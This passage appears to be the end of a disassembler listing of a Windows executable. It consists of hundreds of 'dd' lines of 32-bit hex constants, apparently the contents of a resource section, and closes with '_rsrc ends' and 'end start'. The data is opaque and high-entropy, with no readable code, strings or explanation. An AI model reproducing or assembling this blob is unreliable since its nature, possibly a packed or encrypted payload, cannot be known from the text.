dd 0A36501A5h, 0AC630272h, 0A802DF5Dh, 0A505720Fh, 4C317146h
dd 1432F3A9h, 0BB55FE0Dh, 0C403FE12h, 0C0B221FDh, 0B3A58AAFh
dd 502E8262h, 0C485424Dh, 3FF3FABDh, 0D0233585h, 0D320E49Dh
dd 0E403D652h, 0DCA8167Dh, 0DC259BA6h, 60952B45h, 364A6DCDh
dd 9BA9EBFBh, 38A9D8DFh, 5882E69h, 0F4B5F0DFh, 0BADDBB76h
dd 87F4BA5Dh, 58147AB5h, 8FADB5B4h, 0A10D7A00h, 97B049DAh
dd 0A0930612h, 5644AD0Dh, 7432DF79h, 1F25EAAFh, 251E661Fh
dd 2415A46Dh, 0A78D59B8h, 2CE56A60h, 0A403D61Dh, 0F14C71D4h
dd 0B82538A5h, 30C7629Bh, 559CFD9Ch, 4495C4F5h, 0CBED5038h
dd 1A7C16F7h, 0DFD2F720h, 5446F285h, 3231A57Dh, 5F251AEEh
dd 0F0D35A12h, 0DC7A25CDh, 9475B6FFh, 0F1E092E1h, 0F055AE7Fh
dd 9FC9F802h, 873AE82h, 0CCA73D6Dh, 0FFE16105h, 3C42C5B4h
dd 8F5D6FFh, 0D36C555Ah, 2B54DDA9h, 7F45520Eh, 0D0220F79h
dd 0AB256AAFh, 2096EBE2h, 1C8A65CDh, 8E75F67Fh, 0D170A22Eh
dd 3009732Ch, 0F44C728Dh, 6CF421FFh, 0B047E29Dh, 0FD2E7D9Ch
dd 0C49544F5h, 48918BBCh, 51648A2Dh, 50E5D039h, 16DD1710h
dd 582C168Dh, 0EB216118h, 60956BDFh, 0EC48DDCDh, 6831A93Ch
dd 0AC64AAADh, 8410311Fh, 369D3790h, 0C863360Dh, 3E6D6F84h
dd 15E83EEDh, 495007Fh, 9735CBE7h, 0C6581AAh, 9069B79Dh
dd 1321D20Dh, 9821DB7Ch
dd 5AA5DAEDh, 2B126D72h, 0AF05E2CDh, 0EB8C6783h, 217DBAD9h
dd 0E908ED30h, 4403AA12h, 0BBC06BFDh, 4C63B6EAh, 389281DDh
dd 0CD85128Fh, 0D833EA42h, 8765952Dh, 0E013EA22h, 8F4D040Dh
dd 0E873F602h, 99FE0CEDh, 50959E5Dh, 83AD597Fh, 7575A63Dh
dd 2D5CA673h, 3254B008h, 584A6D7Dh, 6D35C63Fh, 8C69BD71h
dd 4498EF1Ch, 6FE65E69h, 8D6809A8h, 8C550CC5h, 888259FDh
dd 7C4562CFh, 17784A10h, 9C2503CEh, 2E225E5Dh, 161129A8h
dd 30302136h, 0ABB1ECB4h, 3F9E6D3Ch, 0B39F240Ah, 5CF9816Ch
dd 0E52921EEh, 3F68FEDDh, 6ECFD34h, 0A8D1D03Eh, 1A458A2Dh
dd 5C5C4EB0h, 98CA19E9h, 0E1B526BFh, 0ECE3DA6Ah, 0E8EEAB5Dh
dd 0E705A2A6h, 78B31EC2h, 914A90ADh, 738F596Bh, 36ECC6CFh
dd 736F7CF9h, 4F260195h, 85153EDDh, 8D85C24Dh, 0E6B8C203h
dd 0A1B0A1F0h, 90E58CFBh, 23403A4Eh, 98B67002h, 8679AAEDh
dd 9FA84885h, 34FF405Ah, 7B5EB3Dh, 2DEA72B4h, 3CFD6E1Dh
dd 1CA071E9h, 0B835760Eh, 8259DFA0h, 13F26A06h, 0B67AE5AAh
dd 91E7A56h, 98FA892Dh, 0CFD59E5Fh, 641F447Ah, 2C321F7Dh
dd 44252A2Fh, 0E0959E76h, 0C55907A0h, 5FA88B18h, 0DF730F93h
dd 40059745h, 0DD971BDFh, 5D509B59h, 0D93D116Dh, 0E8E83D05h
dd 84854260h, 6DC3ABF0h, 0FE403E60h, 79C39E02h, 0F9713B9Bh
dd 6FB5BB24h, 9BFD9955h, 208346DCh, 9D462CDh, 9354C77Fh
dd 1E155A1Ah, 9C7EE4C6h, 0B42A596Ah, 20135ED4h, 0D4BDF904h
dd 9315FEDDh, 256D45AAh, 9612ED5Bh, 32BE7ED4h, 0B943DE76h
dd 39F17B1Bh, 0AFB5FBA4h, 0DB8819D5h, 0EDC1EE5Ch, 0F402324Ah
dd 0B8D1103Dh, 0EB98AB97h, 80479892h, 18E13B8Dh, 0B60FCBECh
dd 0BC7BBA5Dh, 0C15DFB6Ah, 54D5C25Dh, 1862C5EDh, 7465DA22h
dd 90D14E9Eh, 6B46BCB9h, 0DAE1EBACh, 8679DADDh, 35A83561h
dd 2415A419h, 0A781AAC0h, 3C23B65Ah, 12E2ED1Dh, 93C50293h
dd 820340h, 92A50AAEh, 0FEEF139Ch, 3C04025Dh, 837195CCh
dd 0D5650A2Dh, 0E0136622h, 0AA45FC0Dh, 16532B2Ch, 1CAA1ADDh
dd 0E0F1226Ch, 24EC22CDh, 0EBCB76EDh, 0D4E6147Dh, 0B055AE1Dh
dd 0B63AB1BBh, 7B35C62Bh, 0A0B985h, 15C4E4h, 0C6E1C7C6h
dd 956AC6ADh, 8C550C4Dh, 52BD632Ah, 0E67652FDh, 17E5D617h
dd 0AC4F485Ah, 1FAD615Dh, 0A95AE6C4h, 284BE63Dh, 0EE111FA4h
dd 0C508EE0Dh, 0B4B5B067h, 47386E80h, 0BCAA38E9h, 0B09287DDh
dd 0F785928Fh, 99B409F6h, 0D0BB5BFDh, 0AC828D4Eh, 0D345A24Fh
dd 68B7DC12h, 0EB651FEDh, 6092B8E1h, 6DCED5CDh, 78B31AC2h
dd 3D967BADh, 7F554D45h, 8920828Dh, 7825747Bh, 80A0FAEAh
dd 801543B0h, 46FD47C6h, 403446ADh, 0C65BCD8h, 870D1928h
dd 241E568Ah, 98B5567Dh, 1F27CF0Dh, 0B08546E2h, 275315CDh
dd 9FE6DDFEh, 0B06A738Eh, 68557EDFh, 34C51B04h, 0BBF94178h
dd 4CB5E2EAh, 0C343B1DDh, 3BF6790Eh, 44720FDEh, 0F651AEFh
dd 0D61C45ACh, 0E11A7596h, 8FA8AED0h, 2C242E30h, 85689A6h
dd 9E8672D0h, 56CE9DECh, 0EFD21E26h, 6256BA37h, 0B08CBD6Dh
dd 0FB217878h, 0C0224A2Fh, 0D9E03DA5h, 9BC8370h, 80588CDh
dd 0B019D5F0h, 9F15018Dh, 94450A8Fh, 0E72C197Dh, 59A26558h
dd 20859F25h, 0D760ED71h, 899992F6h, 26B1701Fh, 5039F0B4h
dd 2801AE27h, 0AC073259h, 31A5B622h, 0CB5E6185h, 1C4ABF4Eh
dd 53210682h, 1EA45D22h, 83521D9Dh, 5F601194h, 0A1605380h
dd 60205D33h, 5F289D83h, 394479B2h, 83F135FBh, 29F02924h
dd 0A244F154h, 0F3B53684h, 0C8FAB5ECh, 0BE08E20h, 7FE84361h
dd 0EC5CF5B4h, 8718C49Ah, 6BDDA5Ah, 7848CD79h, 13E050EEh
dd 9689DA7Ch, 0EE545944h, 0A09574C5h, 23A44ACDh, 0A8CDE50Ch
dd 89E5EAADh, 0E464DB9Eh, 2EAEF27Dh, 1C357600h, 0F11C2C04h
dd 0C0054015h, 0AAA38BA9h, 222AC43Eh, 4F448F34h, 2E5C8E9Dh
dd 0BA7F15D1h, 1D65D1FEh, 5F749FF4h, 23209E5Dh, 64E522DBh
dd 0AEF2B53Dh, 62E52AB0h, 0FF538A60h, 74C4EE09h, 7441FDh
dd 1C05DA42h, 0AE91CD3Dh, 0C1854250h, 28D5E69Dh, 8F04CE34h
dd 9B5CCE9Dh, 94455245h, 0E6ECA0h, 9B10C975h, 62E96B60h
dd 720462DDh, 2835C7C0h, 0AC294B30h, 2F078945h, 2E4381D4h
dd 0BB35F600h, 0CC63BACAh, 829CFEDDh, 0D44B0D45h, 4C244798h
dd 0D13CCA20h, 9A5E56A0h, 54CA1BFDh, 5BB526BFh, 0DCCDA637h
dd 0B1951F5Dh, 0E3A760E5h, 0EA02568Ch, 9DE5BAE6h, 0F3C25EFDh
dd 5EC5C296h, 0D0EEB41Dh, 0A03DCE05h, 5E8BD03h, 0C619D19Fh
dd 1DE6A870h, 0C5503A9h, 1540B388h, 14350B89h, 99B5567Dh
dd 0A118FCB9h, 0A08597E1h, 2405E2D0h, 4DF67292h, 2CD52329h
dd 0A708ED3Ch, 0C146FCE8h, 0B825AF81h, 4CA5FA6Dh, 0C0158405h
dd 4A6DDB4Dh, 20F586BDh, 4B47E055h, 4C5218FCh, 0DA4522D6h
dd 1179C001h, 0E19D1ADDh, 0E085D7D9h, 0E9B882EFh, 0E885DFC1h
dd 6CE52AB5h, 0ADD5B732h, 74B56BD3h, 0EFF2AAFEh, 8C8EBEEAh
dd 15BEDDh, 49C365Dh, 18DEC20Ah, 3C394F2Dh, 49CA8B1Dh
dd 84A52FDh, 963A56E4h, 0A1256A06h, 0A5A07C51h, 0A4159B49h
dd 2C75E63Dh, 69657319h, 306527B9h, 374E698Fh, 48F33AA2h
dd 62BD7A6Dh, 28687D8Fh, 0C300FF90h, 48F3F7D5h, 48D2152Dh
dd 53D51E5Fh, 0E4031272h, 545C7E7Dh, 602019C4h, 609520AEh
dd 263D5748h, 0C6EC262Dh, 0D40FADE1h, 6F88AB59h, 0F6DC3484h
dd 0C2B636FDh, 0FCA59A49h, 0D2E7C9FDh, 18FBC51Bh, 7F0540C0h
dd 1C6E4EAAh, 90D54E9Dh, 9D39C7EDh, 0A8F39EEAh, 0ACDA67EDh
dd 2B956E96h, 3415CA42h, 0FF11D93Dh, 2CDBCE66h, 0B0C2FB1Dh
dd 27C5027Dh, 9B3527A2h, 33096D6Fh, 0D02E0262h, 4485024Dh
dd 7671959Dh, 4B650A2Dh, 0A1BDB670h, 0DF6091A2h, 0E8734E12h
dd 6B739FEDh, 0E09536E1h, 0DC7AADCDh, 7375B6FFh, 0B6663A77h
dd 0F0558E01h, 7C8B5D6Dh, 0C104B870h, 0B7B92C70h, 1005A66Ah
dd 0EC12CD4Dh, 7AF5D6ADh, 0B071D57Bh, 20BD7320h, 174552FDh
dd 18B5BEE4h, 169C5AEDh, 285BDF65h, 9B88D9D0h, 6AE96BB8h
dd 31786ABDh, 306527A1h, 0B4C5724Dh, 5040F8F1h, 0E5A16C70h
dd 4A287CDh, 4F85928Fh, 78F62E50h, 5E90F5Ch, 50150E8Dh
dd 0D6D9920Dh, 40662E34h, 0DB901618h, 639989B6h, 56ECCA80h
dd 5BBFF739h, 798E8949h, 804EBE72h, 0BC623B8Dh, 6B35463Fh
dd 0BEF99C9h, 79AD0CEh, 485C30Eh, 0C173DB87h, 123ACA3Dh
dd 0E6CDA006h, 9D67E4D9h, 0BF8DBD4Dh, 76105927h, 0A39928E8h
dd 0A938F207h, 0A8859FC1h, 4CE5EAADh, 25522FAAh, 0F8527B80h
dd 0BB3586BFh, 4CB5E2EAh, 28B001DDh, 4485024Dh, 51CD4998h
dd 4C65DDACh, 1052059Dh, 554522D4h, 4CB5967Dh, 64E461ECh
dd 80F53EFDh, 9D89A7FCh, 0E875A62Dh, 73792EADh, 0E72C164Fh
dd 0FF7BB154h, 873FA7Ah, 5AA9D6Dh, 0DFCE6A8h, 0C645CFC8h
dd 0A14C6ADh, 0D7DC4DD8h, 945245C5h, 974562D6h, 8CB5D67Dh
dd 64AAE5D9h, 2395EE1Fh, 0B4C31242h, 0D4F2E93Dh, 0ADE57AEFh
dd 409B7925h, 0F621F708h, 82FEF60Dh, 45A46D75h, 82160627h
dd 1C64055Dh, 0CC7291BDh, 34659AEFh, 50D5370Dh, 2D4D540Eh
dd 0E265D97Eh, 0EC4E1C5Ah, 0E412955Dh, 0E405B2B6h, 0DC95263Dh
dd 5462ADABh, 26553E0Dh, 784A298Dh, 78354626h, 71A5BC6Dh
dd 77CFBCF1h, 14BE46CAh, 8CF546BDh, 9667BF2Dh, 0A00ED132h
dd 98CA490Dh, 98B56666h
dd 9125DAADh, 0A290E868h, 0FA038C8Fh, 0B1CCDD1Fh, 0EEB3F137h
dd 921F7087h, 987325DCh, 47D19878h, 0F924D26Fh, 0C0054039h
dd 309114Dh, 0C79805C7h, 5CA3029Ah, 82620D9Dh, 534522D3h
dd 0E8738AF2h, 82BA99EDh, 6D95AE9Bh, 74430242h, 5002333Dh
dd 0BDE53A6Fh, 0EF55984Fh, 84830E1Ah, 9EA235FDh, 7BA54A43h
dd 10539A52h, 0AA1AC14Dh, 95F5D68Bh, 9C26129Ah, 68824D9Dh
dd 0EA4562CFh, 56536BACh, 41A45ADDh, 2085A039h, 0A42DA5CDh
dd 8575E63Dh, 99666B17h, 306526ACh, 75D0E235h, 48227682h
dd 7FE5FF6Dh, 30684660h, 440AC344h, 0BF516B2h, 0F6659A22h
dd 0B6E9039Dh, 0E0298E8Eh, 6B820799h, 0DB69024Dh, 65A29D5Ch
dd 0E3BB57E5h, 67438E8Ch, 1A862924h, 0C60D5BBCh, 195DC499h
dd 0D83536FDh, 0FB505F95h, 0B2E331Ch, 91B5E609h, 98B60E12h
dd 1415552Dh, 960BCF03h, 6A2AC50Fh, 97B55615h, 86E965EDh
dd 9F45305Dh, 34FF545Ah, 0B0B1E93Dh, 6B11282Eh, 0B3824AFCh
dd 1CC93810h, 0B738F0DFh, 3BD0F915h, 78545F9Ch, 448502B9h
dd 0F75D37D8h, 34650A2Dh, 0D0D58E9Ah, 0C4532CFh, 0D8B5966Dh
dd 5C252AD5h, 0E071E05Dh, 6406A735h, 0E8740E3Dh, 98232AADh
dd 14213B1Dh, 0F7EF7F81h, 1139B6E5h, 7CA5A20Dh, 549CBEDDh
dd 0FE27269h, 6E0A47A7h, 74655A26h, 0F482E84h, 944994AEh
dd 19AFDD7Fh, 0FF2E5FF0h, 3EC3D77Eh, 0B4DBB7A0h, 0A732A7A5h
dd 63h dup(0)
dd 1500h dup(?)
_rsrc ends
end start